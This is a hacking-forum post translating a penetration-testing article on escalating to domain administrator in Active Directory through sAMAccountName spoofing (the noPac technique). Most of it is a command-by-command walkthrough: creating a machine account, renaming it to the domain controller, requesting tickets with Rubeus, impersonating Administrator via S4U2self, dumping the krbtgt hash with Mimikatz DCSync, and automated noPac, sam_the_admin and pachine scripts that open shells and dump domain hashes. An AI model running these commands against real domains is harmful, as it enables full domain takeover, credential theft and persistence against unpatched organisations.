• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эскалация домена — спуфинг sAMAccountName

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Эскалация домена — спуфинг sAMAccountName

Учетные записи компьютеров имеют знак $, добавленный в конце их имен, в отличие от учетных записей стандартных пользователей. По умолчанию в операционных системах Microsoft отсутствуют элементы управления безопасностью и усиление защиты, которые могли бы предотвратить ряд атак. Кроме того, за годы было доказано, что то, как некоторые вещи работают в экосистеме Windows, может допускать злоупотребления за счет использования существующих функций и рабочих процессов.

В частности, каждая учетная запись в Active Directory имеет свое имя в атрибуте "sAMAccountName". Тем не менее, нет контроля для предотвращения произвольного использования, и поэтому любой пользователь, который имеет контроль над объектом (например, учетной записью компьютера), может изменить это значение. Цель этой модификации может привести к олицетворению других учетных записей в домене, таких как учетная запись компьютера контроллера домена. Чарли Кларк был первым, кто опубликовал подробные инструкции о том, как использовать эти уязвимости в качестве оружия.

Перед запросом сервисного билета сначала необходимо оформить билет на предоставление билетов (TGT). Когда билет службы запрашивается для учетной записи, которая не существует в Центре распространения ключей (KDC), Центр распространения ключей выполнит поиск, добавив знак $ к этой учетной записи. Сочетая такое поведение с отсутствием контроля над атрибутом "sAMAccountName", оператор RT может использовать это для эскалации домена. В частности, можно запросить билет на предоставление билета для учетной записи контроллера домена, и восстановление значения атрибута "sAMAccountName" перед любым запросом билета службы заставит KDC искать учетную запись компьютера контроллера домена и выдавать билет службы с повышенными правами от имени администратора домена.

Чтобы правильно использовать эту атаку для эскалации домена, пользователь должен иметь разрешения на учетную запись компьютера, чтобы иметь возможность изменять атрибуты "sAMAccountName" и "servicePrincipalName". Пользователи, которые могут создавать учетные записи компьютеров, имеют необходимые привилегии для изменения этих атрибутов. По умолчанию квота учетных записей компьютеров установлена на 10 для пользователей домена, что позволяет пользователям создавать учетные записи компьютеров в домене. В качестве альтернативы эта атака может быть проведена с точки зрения учетной записи, которая является владельцем учетной записи компьютера. Выполнение эскалации домена через олицетворение "sAMAccountName" состоит из следующих шагов:

1. Создайте учетную запись компьютера
2. Очистите атрибут "servicePrincipalName".
3. Измените атрибут "sAMAccountName" учетной записи компьютера, чтобы указать имя контроллера домена без знака $.
4. Запросите TGT для учетной записи контроллера домена.
5. Восстановите атрибут "sAMAccountName" до его исходного значения или любого другого значения.
6. Запросите сервисный билет методом S4U2self
7. Получите сервисный билет от имени учетной записи администратора домена.


На следующей диаграмме показаны этапы метода олицетворения "sAMAccountName".

1647070648918.png


Открытие уязвимости

Microsoft выпустила исправления, чтобы предотвратить успешную эксплуатацию. Однако во многих случаях исправления не применяются вовремя, что создает период времени, в течение которого этот метод можно использовать. Обязательными условиями техники являются следующие:

1. Контроллер домена, на котором отсутствуют исправления безопасности KB5008380 и KB5008602.
2. Действительная учетная запись пользователя домена
3. Квота учетной записи машины должна быть выше 0


Требуется доступ к внутренней сети, поэтому предполагается, что учетная запись с низким уровнем привилегий уже была скомпрометирована. Как упоминалось выше, квота учетной записи компьютера по умолчанию равна 10, и поэтому единственным требованием является определение того, были ли применены исправления. Это тривиально и может быть достигнуто путем запроса билета на предоставление билета без PAC для учетной записи пользователя домена и соблюдения размера билета base64 (меньше по сравнению с билетами, выданными с PAC). Rubeus можно использовать с ключом /nopac для запроса TGT для учетной записи домена, учетные данные которой известны.

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

1647070689041.png


Глядя на размер билета, можно понять, что контроллер домена уязвим, поскольку вместе с билетом не был выдан PAC.

1647070702923.png


В качестве альтернативы инструмент на C# noPac можно использовать для получения билетов TGT для всех доступных контроллеров домена в сети. Инструмент основан на Rubeus, поскольку он использует библиотеку "Rubeus.lib.Interop.LUID" для получения билетов. Размер билета может определить, выдал ли KDC билеты без PAC.

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

1647070724812.png


Если операции выполняются из консоли PowerShell, Shitsecure разработала сценарий PowerShell "Invoke-noPac" (https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6) , который встраивает сборку .NET noPac в base64. Поскольку инструмент на самом деле является noPac, те же аргументы могут использоваться для получения билетов.

Import-Module .\Invoke-noPAC.ps1
Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"

1647070745299.png


Мануал


Существуют различные инструменты и сценарии, которые могут автоматизировать эту технику как из домена, так и из систем, не присоединенных к домену. Однако, прежде чем погрузиться в автоматизацию, важно понять, как эту атаку можно выполнить вручную, используя существующий набор инструментов. Создание учетных записей компьютеров в активном каталоге не является чем-то новым для операций RT, поскольку его также можно использовать во время ограниченного делегирования на основе ресурсов (https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/). Кевин Робертсон (https://twitter.com/kevin_robertson) разработал модуль PowerShell под названием Powermad (https://github.com/Kevin-Robertson/Powermad), в котором есть функция, позволяющая создавать учетные записи компьютеров в домене.

New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"


1647070775105.png


Удаление значения имени субъекта-службы из уже созданной учетной записи компьютера выполняется тривиально с помощью "Set-DomainObject" PowerSploit ( https://github.com/PowerShellMafia/PowerSploit) .

Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"

1647070834779.png


Изменение значения атрибута "sAMAccountName" для указания на имя хоста контроллера домена также может быть выполнено из Powermad и функции "SetMachineAccountAttribute", выполнив следующую команду:

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"

1647070854110.png


Глядя на атрибут в активном каталоге, видно, что значение новой учетной записи машины теперь указывает на "dc", поэтому эта учетная запись может олицетворять контроллер домена.

1647070867365.png


Проверка того, что атрибут "sAMAccountName" был изменен, может быть проведена путем запроса контроллера домена. Функция "GetDomainComputer" из PowerSploit может перечислять атрибуты учетной записи компьютера в домене.

Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname

1647070891257.png


Rubeus (https://github.com/GhostPack/Rubeus) — это стандартный инструмент для операций, связанных с Kerberos. Поскольку имя учетной записи sam было изменено, билет на выдачу билетов можно запросить для учетной записи dc из контекста обычного пользователя.

.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap

1647070911213.png

Атрибуту имени учетной записи sam необходимо вернуть исходное значение или любое другое значение, иначе сервисный билет не будет выдан.

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname

1647070935622.png


Поскольку TGT уже хранится в памяти, сервисный билет можно запросить от имени администратора домена, используя расширение kerberos "S4U2self". Поскольку исходный билет принадлежит пользователю dc, которого теперь не существует, так как имя учетной записи sam было переименовано, Kerberos будет искать dc$, который является действительной учетной записью компьютера, и выдаст билет для запрошенной службы.

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]

1647070954145.png


Из существующего сеанса можно запустить Mimikatz, чтобы сбросить хэш учетной записи "krbtgt", используя технику DCSync для создания золотого билета.

lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

1647070978349.png


Автоматизация


Этапы спуфинга sAMAccountName могут быть автоматически воспроизведены непосредственно из памяти с помощью noPac (https://github.com/cube0x0/noPac) , инструмента C#, разработанного Cube0x0( https://twitter.com/cube0x0). Выполнение приведенной ниже команды создаст учетную запись компьютера с указанным паролем и получит служебный билет для службы "cifs", который будет передан в память.

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

1647071001288.png


Следующая команда проверит эскалацию домена, поскольку обычный пользователь может перечислить содержимое папки C$ на контроллере домена.

dir \\dc.purple.lab\c$

1647071022149.png


Точно так же, если исходный имплант основан на PowerShell, можно использовать те же аргументы командной строки из сценария Invoke-noPac (https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6). Как уже упоминалось выше, на самом деле это оболочка инструмента noPac C#.

Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"

1647071043611.png



При доступе к папке C$ контроллера домена будет подтверждено, что билет службы, кэшированный в памяти, имеет повышенные права.

dir \\dc.purple.lab\c$

1647071064219.png


Non-Domain Joined


Те же самые принципы метода могут быть применены к системам, которые не присоединены к домену. Хоссам Хамед ( https://twitter.com/safe_buffer) выпустил скрипт на Python под названием sam the admin (https://github.com/WazeHell/sam-the-admin) , который имитирует атаку. Первоначально сценарий попытается перечислить атрибут "ms-DS-MachineAccountQuota", чтобы определить, можно ли добавить новый компьютер в домен. Затем будет создана учетная запись машины со случайным паролем. Атрибут "sAMAccountName" новой учетной записи компьютера будет изменен, чтобы содержать значение учетной записи компьютера контроллера домена. Будет запрошен билет с повышенными правами и сохранен в кэше. Наконец, исходное значение атрибута "sAMAccountName" будет восстановлено, и с использованием кэшированного билета будет установлен сеанс с контроллером домена с использованием "smbexec" из пакета Impacket.

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell

1647071084607.png


Сценарий содержит и флаг, который можно использовать для дампа хэшей домена, поскольку в фоновом режиме используется "secretsdump".

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump

1647071108003.png


Эти хэши можно использовать для взлома в автономном режиме, чтобы идентифицировать любые используемые слабые пароли и определить, является ли политика паролей клиента достаточной и соответствует отраслевым стандартам или требует дополнительной оценки. В качестве альтернативы, поскольку хэш учетной записи "krbtgt" виден , можно создать золотой билет для сохранения домена.

1647071122941.png


Аналогичный скрипт на Python был выпущен Оливером Ляком (https://twitter.com/ly4k_) , который можно использовать как для сканирования контроллеров домена для выявления уязвимых хостов, так и для получения билетов службы выдачи билетов.

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'

1647071145787.png


Выполнение следующей команды на уязвимом контроллере домена создаст учетную запись компьютера со случайным паролем, чтобы получить билет на выдачу билетов. Затем имя учетной записи машины будет переименовано, и с помощью S4U2self билет службы будет извлечен и сохранен локально для пользователя-администратора, который принадлежит к группе "Администраторы домена".

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'

1647071167417.png


Билет можно импортировать в кэш Kerberos, используя "export KRB5CCNAME" и путь, по которому был сохранен билет. Поскольку билет теперь импортируется из текущей консоли, Impacket "psexec" можно использовать с аутентификацией Kerberos, чтобы получить доступ к контроллеру домена.

export KRB5CCNAME=administrator@purple.lab.ccache
impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

1647071185796.png

Реализация этой техники также возможна с помощью инструмента, основанного на скрипте python "sam the admin" под названием noPac. Сценарий сканера перечислит атрибут "ms-DS-MachineAccountQuota" и получит билеты на предоставление билетов со всех доступных контроллеров домена. Размер тикета также будет отображаться в консоли для быстрой идентификации уязвимых целей. В приведенном ниже примере два билета, полученные без PAC, относительно меньше по сравнению с хостом 10.0.0.1, который выдал билет с PAC.

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1647071206598.png


Этот скрипт может выполняться с различными аргументами в зависимости от активности. Указание учетных данных пользователя домена и IP-адреса контроллера домена будет реализовывать атаку до тех пор, пока не будет получен билет с повышенными правами.

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

1647071228184.png


1647071235612.png


Добавление флагов "-shell" и "-impersonate" установит сеанс на контроллере домена.

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator


1647071253441.png


Точно так же флаг "-dump" можно использовать для получения хэшей от пользователей домена из секретов NTDS.DIT. Поскольку доступ администратора домена уже был получен через билет Kerberos, получение хэша учетной записи "krbtgt" было бы следующим логическим шагом для установления постоянства на доменом.

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt

1647071271274.png



Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/01/10/domain-escalation-samaccountname-spoofing/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх